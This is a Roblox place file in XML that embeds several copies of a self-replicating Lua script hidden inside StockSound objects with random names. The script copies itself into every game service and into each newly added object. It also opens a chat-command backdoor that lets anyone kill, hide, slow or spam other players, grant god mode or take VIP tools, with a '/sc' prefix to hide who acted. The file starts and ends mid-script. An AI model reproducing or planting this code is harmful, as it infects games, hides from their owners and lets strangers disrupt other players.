if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX660">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">11</int>
						<CoordinateFrame name="CFrame">
							<X>-174</X>
							<Y>62.6000023</Y>
							<Z>-44.5</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>-0</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">true</bool>
						<token name="Material">256</token>
						<string name="Name">OneWayDoor</string>
						<float name="Reflectance">0.100000001</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.100000001</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>78</X>
							<Y>124</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Script" referent="RBX661">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">PushPack</string>
							<string name="Source">door = script.Parent

function onTouch(hit)
	if hit.Parent == nil then return end
	local h = hit.Parent:FindFirstChild(&quot;Humanoid&quot;)
	if h ~= nil then
		hit.Parent.Torso.Velocity=door.CFrame.lookVector * 100 -- Push the Player back
	end
end
door.Touched:connect(onTouch)</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX662">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">2xdje</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX663">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ugwdq</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX664">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">wcn84mi</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX665">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">b9gch</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
